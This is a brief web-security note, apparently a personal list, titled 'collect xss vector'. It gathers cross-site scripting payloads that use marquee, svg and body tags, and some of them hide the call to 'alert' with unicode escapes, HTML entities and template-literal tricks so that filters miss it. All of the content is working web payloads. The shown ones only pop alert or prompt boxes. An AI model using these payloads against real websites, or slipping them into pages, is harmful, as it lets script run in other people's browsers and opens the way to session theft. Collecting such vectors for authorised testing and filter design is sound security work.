【websec】collect xss vector

tag

marquee

1
<marquee onstart=alert(1)>xss</marquee>

svg

1
2
# <svg><script>\u{61}lert`1`<script></svg>
<svg><script>&#x0005C;u&lcub;61&#125;le</>rt&grave;1&grave;</script></svg>

body

1
<body onload=```${prompt``}`>